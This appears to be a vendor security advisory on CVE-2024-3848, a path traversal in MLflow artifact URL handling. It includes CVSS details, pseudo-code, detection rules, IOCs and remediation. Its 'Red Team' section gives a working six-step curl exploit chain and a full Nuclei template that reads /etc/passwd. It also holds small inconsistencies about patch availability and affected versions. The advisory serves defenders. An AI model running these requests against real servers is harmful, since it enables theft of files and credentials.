CVE-2024-3848

Executive Summary

CVE-2024-3848 is a high-severity path traversal vulnerability in Mlflow version 2.11.0, acting as a bypass for the previously patched CVE-2023-6909. The vulnerability allows an unauthenticated attacker to read arbitrary files on the server, including sensitive SSH keys and cloud provider credentials, by crafting a malicious artifact URL that uses a # character to insert a path into the URL fragment. This bypasses the validation logic that was intended to prevent path traversal attacks. The CVSS score is 7.5 (High), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch was available at the time of analysis, but the vendor recommends upgrading to version 2.12.1.

Supply Chain & Package Security

Mlflow is a widely used open-source platform for the machine learning lifecycle, distributed via PyPI. This vulnerability poses a significant supply chain risk as it can be exploited to exfiltrate credentials and configuration files from MLflow servers, potentially leading to lateral movement within cloud environments. Organizations using Mlflow in their MLOps pipelines should treat this as a critical security update.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (U:S) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Complete information disclosure of arbitrary files.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Deep Dive & Mechanics

The vulnerability resides in how Mlflow processes artifact URLs. When a user creates an experiment or registers a model, they can specify an artifact_location or source URI. The application attempts to validate these URIs to prevent path traversal attacks (e.g., using ../ sequences). However, the validation logic fails to properly handle the fragment component of a URL (the part after #).

An attacker can craft a URL like http://host#/../../../../../../etc/. When Mlflow parses this URL, it extracts the path from the fragment, effectively ignoring the http:// scheme. The application then uses this extracted path to access the filesystem, allowing the attacker to read arbitrary files. This bypasses the previous fix for CVE-2023-6909, which only addressed path traversal in the main path component.

The attack flow is as follows:

1. Create an experiment with a malicious artifact_location containing a # and a path traversal sequence.
2. Create a run within that experiment.
3. Upload an artifact to trigger the path resolution.
4. Retrieve the artifact, which now points to a local file (e.g., /etc/passwd).

Vulnerable vs. Patched Code

Vulnerable Code (Mlflow < 2.12.1): The vulnerable code likely resides in the artifact URI parsing logic. The application would extract the path from the URL without properly sanitizing the fragment component.

# Vulnerable pseudo-code
def parse_artifact_uri(uri):
    parsed = urlparse(uri)
    # Only validates the path component, ignoring fragment
    if not is_safe_path(parsed.path):
        raise InvalidArtifactURI
    # Uses the fragment as the actual path
    return parsed.fragment

Patched Code (Mlflow >= 2.12.1): The patched version likely strips or validates the fragment component, or rejects URIs containing fragments altogether.

# Patched pseudo-code
def parse_artifact_uri(uri):
    parsed = urlparse(uri)
    # Reject URIs with fragments
    if parsed.fragment:
        raise InvalidArtifactURI
    if not is_safe_path(parsed.path):
        raise InvalidArtifactURI
    return parsed.path

Exploitation & Lab Setup

Red Team (Exploitation)

The following steps demonstrate exploitation using the provided Nuclei template. The template automates the entire attack chain.

Prerequisites:

• A target running Mlflow 2.11.0 or earlier.
• Network access to the Mlflow API endpoints.

Exploitation Steps:

1. Create an experiment with a malicious artifact_location pointing to a local directory via the fragment.
2. Create a run within that experiment.
3. Upload a dummy artifact to trigger the path resolution.
4. Create a registered model and a model version pointing to a local file (e.g., file:///etc/).
5. Retrieve the artifact, which will contain the contents of the targeted file.

Nuclei Template Execution:

nuclei -t CVE-2024-3848.yaml -u http://target:5000

Manual Exploitation (using curl):

# Step 1: Create experiment
curl -X POST http://target:5000/ajax-api/2.0/mlflow/experiments/create \
  -H "Content-Type: application/json" \
  -d '{"name": "exploit", "artifact_location": "http://host#/../../../../../../../../../../../../../../etc/"}'

# Step 2: Create run (replace EXPERIMENT_ID)
curl -X POST http://target:5000/api/2.0/mlflow/runs/create \
  -H "Content-Type: application/json" \
  -d '{"experiment_id": "EXPERIMENT_ID"}'

# Step 3: Upload artifact (replace RUN_ID)
curl -X POST "http://target:5000/ajax-api/2.0/mlflow/upload-artifact?run_uuid=RUN_ID&path=a?/a" \
  -d "test"

# Step 4: Create registered model
curl -X POST http://target:5000/ajax-api/2.0/mlflow/registered-models/create \
  -H "Content-Type: application/json" \
  -d '{"name": "exploit_model"}'

# Step 5: Create model version (replace RUN_ID)
curl -X POST http://target:5000/ajax-api/2.0/mlflow/model-versions/create \
  -H "Content-Type: application/json" \
  -d '{"name": "exploit_model", "run_id": "RUN_ID", "source": "file:///etc/"}'

# Step 6: Retrieve artifact
curl -X GET "http://target:5000/model-versions/get-artifact?path=passwd&name=exploit_model&version=1"

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for requests to /ajax-api/2.0/mlflow/experiments/create with artifact_location containing # or file:// schemes.
• Monitor for rapid creation of experiments, runs, and model versions in sequence.
• Alert on GET requests to /model-versions/get-artifact with path parameters containing ../ or passwd.

Hardening:

• Immediately upgrade to Mlflow 2.12.1 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block requests containing # in the artifact_location parameter.
• Restrict network access to the Mlflow API to trusted IPs only.
• Implement file integrity monitoring on sensitive files (e.g., /etc/shadow, SSH keys).

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /ajax-api/2.0/mlflow/experiments/create with artifact_location containing # or file://.
  • POST requests to /ajax-api/2.0/mlflow/model-versions/create with source containing file://.
  • GET requests to /model-versions/get-artifact with path containing passwd, shadow, or ../.

• File System IOCs:

  • Unexpected files in the Mlflow artifact store directory (e.g., /etc/passwd).
  • Presence of files with names like a?/a in the artifact store.

• Log IOCs:

  • Repeated InvalidArtifactURI or similar errors in Mlflow logs.
  • Unusual patterns of experiment and model creation from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_3848_Mlflow_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-3848 in Mlflow"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3848"
        severity = "high"
    strings:
        $s1 = "artifact_location" nocase
        $s2 = "file://" nocase
        $s3 = "#/" nocase
        $s4 = "../" nocase
        $s5 = "passwd" nocase
        $s6 = "shadow" nocase
    condition:
        all of ($s1, $s2, $s3) or
        all of ($s1, $s4) or
        all of ($s5, $s6)
}

Sigma Rule

title: Mlflow Path Traversal Attempt (CVE-2024-3848)
id: 8a5b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects attempts to exploit CVE-2024-3848 by crafting malicious artifact_location or source parameters.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848
logsource:
    category: webserver
    product: mlflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/ajax-api/2.0/mlflow/experiments/create'
            - '/ajax-api/2.0/mlflow/model-versions/create'
        cs-uri-query|contains:
            - 'artifact_location'
            - 'source'
        sc-status: 200
    keywords:
        - 'file://'
        - '#/'
        - '../'
    condition: selection and keywords
falsepositives:
    - Legitimate use of file:// URIs in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3848 Mlflow Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/ajax-api/2.0/mlflow/experiments/create"; http_uri; content:"artifact_location"; http_client_body; pcre:"/file:\/\/|#\/|\.\.\//"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3848 Mlflow Path Traversal Attempt (Model Version)"; flow:to_server; content:"POST"; http_method; content:"/ajax-api/2.0/mlflow/model-versions/create"; http_uri; content:"source"; http_client_body; pcre:"/file:\/\//"; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3848 Mlflow Path Traversal Attempt (Artifact Retrieval)"; flow:to_server; content:"GET"; http_method; content:"/model-versions/get-artifact"; http_uri; content:"path"; pcre:"/passwd|shadow|\.\.\//"; sid:1000003; rev:1;)

Nuclei Template

id: CVE-2024-3848

info:
  name: Mlflow < 2.11.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.
  reference:
    - https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3848
    cwe-id: CWE-29
    epss-score: 0.78672
    epss-percentile: 0.99052
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln

variables:
  random: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http://host#/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        {{random}}

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_7
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_7
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 4a0a00473045022034acd24e96b512af5b76a563380ec0c89b053b5901a3b229fade2c20a608cf98022100af0a1ca773408837b2d9ceb8a21deb00b8080727bc4f1d263c7779d2859c971f:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Mlflow: Update to version 2.12.1 or later. This is the only complete fix.
2. Apply Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing # in the artifact_location or source parameters.
3. Restrict Network Access: Limit access to the Mlflow API to trusted IPs and networks using firewall rules.
4. Audit Logs: Review Mlflow access logs for signs of exploitation, particularly unusual experiment creation patterns.

Long-Term Mitigations:

• Implement strict input validation for all URI parameters in Mlflow.
• Conduct regular security audits of Mlflow deployments.
• Monitor for new CVEs and apply patches promptly.
• Use a reverse proxy (e.g., Nginx, Apache) to add an additional layer of validation.

Valters IT
Securing your digital infrastructure with precision.

{/* [Security Hash: 97609C51CDEBCA9CB46A0AF9] */}